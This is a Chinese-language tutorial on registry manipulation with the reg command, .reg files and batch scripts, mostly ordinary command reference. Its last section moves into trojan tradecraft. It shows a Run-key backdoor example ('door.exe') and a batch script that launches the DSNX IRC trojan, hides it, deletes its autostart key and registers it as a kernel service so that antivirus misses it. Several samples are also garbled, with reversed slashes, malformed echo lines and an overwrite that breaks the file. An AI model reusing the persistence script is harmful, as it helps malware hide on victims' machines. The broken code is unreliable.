批处理操作注册表
reg命令是WindowsXP提供的,它可以添加、更改和显示注册表项中的注册表子项信息和值。
reg add
将新的子项或项添加到注册表中。
语法:reg add KeyName [/v EntryName|/ve] [/t DataType] [/s separator] [/d value] [/f]
参数
KeyName
指定子项的完全路径。对于远程计算机,请在 //ComputerName/PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默
认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。
/v EntryName
指定要添加到指定子项下的项名称。
/ve
指定添加到注册表中的项为空值。
/t DataType
指定项值的数据类型。DataType 可以是以下几种类型:
REG_SZ
REG_MULTI_SZ
REG_DWORD_BIG_ENDIAN
REG_DWORD
REG_BINARY
REG_DWORD_LITTLE_ENDIAN
REG_LINK
REG_FULL_RESOURCE_DESCRIPTOR
REG_EXPAND_SZ
/s separator
指定用于分隔多个数据实例的字符。当 REG_MULTI_SZ 指定为数据类型且需要列出多个项时,请使用该参数。如果没有指定,将使用默认分隔
符为 /。
/d value
指定新注册表项的值。
/f
不用询问信息而直接添加子项或项。
/?
在命令提示符显示帮助。
注释
该操作不能添加子树。该版本的 Reg 在添加子项时无需请求确认。
下表列出了 reg add 操作的返回值。 值 说明
0 成功
1 失败
范例
下列范例说明了如何使用 reg add 命令:
reg add /hklm/software/myco /v data /t reg_binary /d fe340ead
reg add “hkcu/software/microsoft/winmine” /v Name3 /t reg_sz /d Anonymous
reg add “hkcu/software/microsoft/winmine” /v Time3 /t reg_dword /d 5
reg compare
比较指定的注册表子项或项。
语法:reg compare KeyName1 KeyName2 [/v EntryName | /ve] {[/oa]|[/od]|[/os]|[on]} [/s]
参数
KeyName
指定子项的完全路径。对于远程计算机,请在 //ComputerName/PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默
认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定远程计算机,则只可
使用 HKLM 和 HKU 子目录树。
/v EntryName
比较子项下的特定项。
/ve
指定只可以比较没有值的项。
{[/oa]|[/od]|[/os]|[on]}
指定不同点和匹配点的显示方式。默认设置是 /od。 值 说明
/oa 指定显示所有不同点和匹配点。默认情况下,仅列出不同点。
/od 指定仅显示不同点。这是默认操作。
/os 指定仅显示匹配点。默认情况下,仅列出不同点。
/on 指定不显示任何内容。默认情况下,仅列出不同点。
/s Separator
比较所有子项和项。
/?
在命令提示符显示帮助。
注释
下表列出了 reg compare 操作的返回值。 值 说明
0 比较成功且结果相同。
1 比较失败。
2 比较成功并找到不同点。
范例
下面的范例说明了如何使用 reg compare 命令:
reg compare “hkcu/software/microsoft/winmine” “hkcu/software/microsoft/winmine” /od /s
reg copy
将一个注册表项复制到本地或远程计算机的指定位置。
语法:reg copy KeyName1 KeyName2 [/s] [/f]
参数
KeyName1
指定要复制子项的完整路径。对于远程计算机,请在 //ComputerName/PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会
导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定远程计算机,
则只可使用 HKLM 和 HKU 子目录树。
KeyName2
指定子项目的地的完整路径。对于远程计算机,请在 //ComputerName/PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会
导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定远程计算机,
则只可使用 HKLM 和 HKU 子目录树。
/s
复制指定子项下的所有子项和项。
/f
无需请求确认而直接复制子项。
/?
在命令提示符显示帮助。
注释
该版本的 Reg 在复制子项时无须请求确认。
下表列出了 reg copy 操作的返回值。 值 说明
0 成功
1 失败
范例
下列范例说明了如何使用 reg copy 命令:
reg copy “hkcu/software/microsoft/winmine” “hkcu/software/microsoft/winminebk” /s /f
reg copy “hkcu/software/microsoft/winminebk” “hkcu/software/microsoft/winmine” /s
reg delete
从注册表删除项或子项
语法:reg delete KeyName [{/v EntryName|/ve|/va}] [/f]
参数
KeyName
指定子项的完全路径。对于远程计算机,请在 //ComputerName/PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默
认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。
/v EntryName
删除子项下的特定项。如果未指定项,则将删除子项下的所有项和子项。
/ve
指定只可以删除为空值的项。
/va
删除指定子项下的所有项。使用本参数不能删除指定子项下的子项。
/f
无需请求确认而删除现有的注册表子项或项。
/?
在命令提示符显示帮助。
注释
下表列出了 reg delete 操作的返回值。 值 说明
0 成功
1 失败
范例
下面的范例说明了如何使用 reg delete 命令:
reg delete “hkcu/software/microsoft/winmine” /v Name1
reg delete “hkcu/software/microsoft/winmine” /v Time1
reg delete “hkcu/software/microsoft/winmine” /va
reg export
将指定子项、项和值的副本创建到文件中,以便将其传输到其它服务器。
语法:reg export KeyName FileName
参数
KeyName
指定子项的完全路径。Export 操作仅可在本地计算机上工作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及
HKCC。
FileName
指定要导出文件的名称和路径。该文件必须具有 .reg 扩展名。
/?
在命令提示符显示帮助。
注释
下表列出了 reg export 操作的返回值。 值 说明
0 成功
1 失败
范例
下面的范例说明了如何使用 reg export 命令:
reg export “hkcu/software/microsoft/winmine” c:/data/regbackups/wmbkup.reg
reg import
将包含导出的注册表子项、项和值的文件复制到本地计算机的注册表中。
语法:reg import FileName
参数
FileName
指定将复制到本地计算机注册表中的文件的名称和路径。必须预先使用 reg export 命令创建该文件。
/?
在命令提示符显示帮助。
注释
下表列出了 reg import 操作的返回值。 值 说明
0 成功
1 失败
范例
下面的范例说明了如何使用 reg import 命令:
reg import hkcu/software/microsoft/winmine” c:/data/regbackups/wmbkup.reg
reg load
将保存的子项和项写回到注册表的不同子项中。其目的是保存到一个临时文件中,而该文件可用于注册表项的疑难解答或编辑注册表项。
语法:reg load KeyName FileName
参数
KeyName
指定子项的完全路径。对于远程计算机,请在 //ComputerName/PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默
认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。
FileName
指定要加载的文件的名称和路径。必须使用带 .hiv 扩展名的 reg save 操作创建该文件。
/?
在命令提示符显示帮助。
注释
下表列出了 reg load 操作的返回值。 值 说明
0 成功
1 失败
范例
下面的范例说明了如何使用 reg load 命令:
reg load “hkcu/software/microsoft/winminebk2” wmbkup.hiv
reg query
返回注册表的子项下的项和下一层子项的列表。
语法:reg query KeyName [{/v EntryName|/ve}] [/s]
参数
KeyName
指定子项的完全路径。对于远程计算机,请在 //ComputerName/PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默
认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定远程计算机,则只可
使用 HKLM 和 HKU 子目录树。
/v EntryName
返回特定的项及其值。该参数只返回直接位于指定子项的下一层中的项。将会找不到当前子项下的子项中的项。如果省略 EntryName,则将返
回子项下的所有项。
/ve
指定仅返回为空值的项。
/s
将返回各个层中的所有子项和项。如果不使用该参数,将只返回下一层的子项和项。
/?
在命令提示符显示帮助。
注释
下表列出了 reg query 操作的返回值。 值 说明
0 成功
1 失败
范例
下面的范例说明了如何使用 reg query 命令:
reg query “hklm/system/currentcontrolset/control/session manager” /v maxstacktracedepth
reg query “hkcu/software/microsoft/winmine” /s
reg restore
将保存的子项和项写回到注册表。
语法:reg restore KeyName FileName
参数
KeyName
指定子项的完全路径。Restore 操作仅在本地计算机上工作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及
HKCC。
FileName
指定将写回到注册表中的文件的名称和路径。必须使用带 .hiv 扩展名的 reg save 操作预先创建该文件。
/?
在命令提示符显示帮助。
注释
该操作用于覆盖已编辑的注册表项。编辑注册表项之前,请使用 reg save 操作保存父亲子项。如果编辑失败,则可以使用本操作恢复子项。
下表列出了 reg restore 操作的返回值。 值 说明
0 成功
1 失败
范例
下面的范例说明了如何使用 reg restore 命令:
reg restore “hkcu/software/microsoft/winmine” wmbkup.hiv
reg save
将指定的子项、项和注册表值的副本保存到指定文件中。
语法:reg save KeyName FileName
参数
KeyName
指定子项的完全路径。对于远程计算机,请在 //ComputerName/PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默
认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。
FileName
指定所创建的文件的名称和路径。如果未指定路径,则使用当前路径。
/?
在命令提示符显示帮助。
注释
下表列出了 reg save 操作的返回值。 值 说明
0 成功
1 失败
范例
下面的范例说明了如何使用 reg save 命令:
reg save “hkcu/software/microsoft/winmine” wmbkup.hiv
reg unload
使用 reg load 操作删除已加载的部分注册表。
语法:reg unload KeyName
参数
KeyName
指定子项的完全路径。对于远程计算机,请在 //ComputerName/PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默
认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。
/?
在命令提示符显示帮助。
注释
下表列出了 reg unload 操作的返回值。 值 说明
0 成功
1 失败
范例
下面的范例说明了如何使用 reg unload 命令:
让Windows注册表修改快速生效
当我们修改了注册表,许多情况下只按下F5键刷新注册表还不足以使修改生效,而需要重新启动计算机。其实我们不必每次都重启机器,只
需运行Windows的外壳程序Explorer即可(在Windows 9x/Me和Windows 2000/XP中的操作有所不同)。
在Windows 9x/Me中
按下“Ctrl+Alt+Delete”组合键,在弹出的窗口中选择“Explorer”,并点击“结束任务”按钮,这时屏幕会出现“关机”菜单,不要做
任何操作,在再次弹出的窗口中点击“结束任务”按钮,即可让Windows在不重新启动的情况下快速刷新注册表。
在Windows 2000/XP中
按下“Ctrl+Alt+Delete”组合键,打开“任务管理器”,单击“进程”标签,找到并单击其中的“Explorer.exe”,点击右下方的“结束
进程”按钮,在打开的警告对话框中单击“是”按钮。然后再单击“应用程序”标签,单击下方的“新任务”按钮,在打开的“创建新任务”
对话框中输入“Explorer.exe”,再按下“确定”按钮即可。
=================================================================
关于注册表的操作,常见的是创建、修改、删除。
1.创建
创建分为两种,一种是创建子项(Subkey)
我们创建一个文件,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/hacker]
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft下创建了一个名字为“hacker”的子项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]”Invader”=”Ex4rch”
“Door”=C://WINNT//system32//door.exe
“Autodos”=dword:02
这样就在[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]下
新建了:Invader、door、about这三个项目
Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”
2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。
3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
“Ex4rch”=-
执行该脚本,[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]下的”Ex4rch”就被删除了;
我们再看看删除一个子项,我们创建一个如下的脚本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
执行该脚本,[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]就已经被删除了。
相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。
samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
“Invader”=”Ex4rch”
“door”=hex:255
“Autodos”=dword:000000128
只需要这样:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]>Sample.reg
@echo “Invader”=”Ex4rch”>>Sample.reg
@echo “door”=5>>C://WINNT//system32//door.exe>>Sample.reg
@echo “Autodos”=dword:02>>Sample.reg
samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run] >>patch.dll
@echo “windsnx “=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:/winnt/system32/windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]